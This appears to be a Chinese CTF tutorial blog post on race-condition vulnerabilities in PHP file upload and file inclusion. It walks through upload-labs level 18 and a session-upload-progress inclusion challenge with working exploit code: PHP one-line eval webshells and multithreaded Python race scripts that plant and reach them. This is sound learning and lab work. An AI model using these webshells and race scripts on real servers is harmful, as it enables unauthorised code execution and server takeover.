条件竞争学习

前言

文章同步于我的个人博客https://quan9i.top/competition.md,欢迎大家访问
在学习文件包含和文件上传时,都涉及到了文件竞争这个漏洞,因为理解问题,导致这类题我很难攻破,特此来进行条件竞争的学习,总结如下,希望能对正在学习的师傅有所帮助。

定义

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。

举个栗子
假如我们去银行里取钱,假如我们本来有2000元,我们在atm机进行取款,取款2000,此时我们点击取款操作,而atm在进行取款的时候,我们又一次进去了取款,这时候atm机就会转出4000,我们的账号余额会变成-2000,这就是我们多线程执行的结果,这里的话双线程就可以理解为一个在取款,同时另一个也在进行取款,这时候对银行来说就造成了非预期的效果

https://blog.csdn.net/qq_39153421/article/details/116742488

文件上传条件竞争

0X01

这里以upload-labs18作为示例进行讲解,其源码如下

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

上传文件源代码里没有校验上传的文件,用move_uploaded_file将上传的临时文件移动到了指定目录下,而后进行了判断,如果文件格式符合要求,就用rename给文件重命名并上传,如果文件格式不合乎要求就删除

当我们用多线程脚本或者bp来进行访问时,服务器就会并发处理多个请求,也就是同时对多个请求进行响应,假如此时用户a上传了木马文件,由于代码执行需要时间,这时候用户b访问木马文件,就会出现以下三种情况

1、访问的时候文件还未上传,访问失败,显示404
2、访问的时候文件上传成功但还未判断是否符合文件要求,访问成功
3、访问的时候文件已经被判断完毕,被删除,访问失败,显示404

我们这时候就可以利用第二种情况来插入我们的木马,但是这个文件能成功上传并访问的概率本身就很低,所以在执行一次命令过后,他被删除的概率几乎为%99.99,不可能出现这个文件一直可以成功访问的情况,因此我们这时候就需要用这个文件来写入一个木马文件,然后我们访问木马文件,这时候就可以执行我们的命令或者是用蚁剑连接了。

原理讲解清楚了,下面开始实战
介绍几个函数

fputs — fwrite() 的别名

fwrite — 写入文件(可安全用于二进制文件)
fwrite( resource $handle, string $string)string 的内容写入文件指针 handle 处。 
fopen — 打开文件或者 URL


说明 

resource fopen( string $filename, string $mode )
fopen() 将 filename 指定的名字资源绑定到一个流上。 
mode 参数指定了所要求到该流的访问类型。可以是以下:
fopen() 中 mode 的可能值列表 
'r' 只读方式打开,将文件指针指向文件头。  
'r+' 读写方式打开,将文件指针指向文件头。  
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。  
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。  
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。  
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。  
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。  
'x+' 创建并以读写方式打开,其他的行为和 'x' 一样。  

首先构造我们的上传文件,其内容如下

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["1"])?>');?>
含义就是创建shell.php文件,并写入一句话木马

上传我们的php文件并发送到intruder模块
在这里插入图片描述
选择Null payloads
在这里插入图片描述
此时上传文件的是处理好了,我们还需要用一个访问文件的,此时我们不用bp,用一个脚本来进行访问

import requests
url = "http://127.0.0.1:8080/upload-labs-master/upload/2.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

先进行访问,再开启上传
在这里插入图片描述
成功上传了2.php,但此时2.php肯定已经被删除了,但我们2.php里的语句肯定执行了,我们执行的语句是写入一个shell.php文件,此时访问url/upload/shell.php
在这里插入图片描述
一片空白,我们尝试输入个phpinfo()
在这里插入图片描述
注入成功,此时蚁剑连接getshell
在这里插入图片描述
此时查看文件,即可获取flag(当然这个文件本身不存在,是我自己人为添加的)
在这里插入图片描述

0X02

源码如下

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

像这种过滤了.php的无法直接使用上述那种的上传文件然后写入文件,因为这种就限制了文件后缀,我们无法再写入有文件后缀的文件,但计算机中存在session,而session有以下几个属性

session.upload_progress.enabled = on
//可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup = on
//session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix = "upload_progress_"
//session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//session.uplad_progress.name的值即为session中的键值
此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

如何初始化session并且把session中的内容写到文件中去呢?
我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

此时的话我们传入我们的文件,在文件里更改更改他的cookie,就可以控制它的session文件名
这个文件的键值是ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写到session文件中,那我们在PHP_SESSION_UPLOAD_PROGRESS中编写我们的恶意语句,就成功的写到了session文件中,而我们的文件一上传就会被删除,这时候我们该怎么办呢,靠多线程竞争,python脚本如下

import threading
import io 
import requests

url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'#传入url
data={
    '1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" #写入2.php文件,文件内容为一句话木马
    }
sessionid='quan9i' #传入session文件名
def write(session): #自定义写入session文件函数
    fileBytes=io.BytesIO(b'a'*1024*50) #括号内的b表示后面字符串是bytes类型。这里传入了50kb
    while True:
        response=session.post(url,
        data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'#传入的session文件中的内容为一句话木马
        },
        cookies={
            'PHPSESSID':sessionid #文件名为sessionid,sessionid是quan9i,因此这里的文件名就是quan9i
        },
        files={
            'file':('quan9i.jpg',fileBytes)#路径是quan9i.jpg文件,文件大小是50kb
        }
        )
        #printf(response)
def read(session):#自定义读取session文件函数
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={#这里写入tmp是为了包含session文件,session文件执行的的是1,1的参数对应的数据是写入文件2.php,文件2.php对应的内容是执行2
            'PHPSESSID':sessionid #读取路径是tmp/sess_quan9i
        }
        )
        response2=session.get(url+'2.php')
        if response2.status_code==200:#如果返回正常
            print('[+++++++++++++++++YES+++++++++++++++++]')
        else:
            print(response2.status_code)#输出状态码

if __name__=='__main__':
    event=threading.Event()
    with requests.session() as session:
        for i in range(5):#五个进程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()
    event.set()#初始化
    '''
    整体思路
    首先写入url,我们需要往里面传入数据,所以我们这里data传入一个php文件,传到默认路径下,文件内容为一句话木马,为了
    控制session文件名,我们设置sessionid为quan9i,此时开始定义写文件函数,首先需要写入一个在session文件中写入一个文件,大小
    设置为50kb即可,之所以要写入文件是为了配合PHP_SESSION_UPLOAD_PROGRESS,这个东西是监测文件上传进度的,如果不传文件的话,
    我们啥也监测不了,这个语句就有问题了,然后设置cookie为PHPSESSID=sessionid,
    此时sessionid就是我们之前设置的quan9i,这时就确定了session文件的路径是/tmp/sess_quan9i,
    此时我们监测的文件还没传,上方写入的文件需要传进去,我们传进去就可以了,此时可以printf(response)来查看响应进而确定是否成功写入文件
    此时再自定义读文件,首先post包含我们的session文件,并设置cookie与之前相同,这个目的是为了执行session中的代码,session文件执行的是参数1,参数1在最上方对应
    的是写入2.php文件,2.php文件对应的是执行参数2,
    如果执行成功就输出+++YES+++,错误时返回状态码
    '''

为什么脚本可以用,是因为脚本使用了多线程竞争的方法。
什么是多线程竞争?
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)之间也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

参考文章
https://blog.csdn.net/qq_46918279/article/details/120106832

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值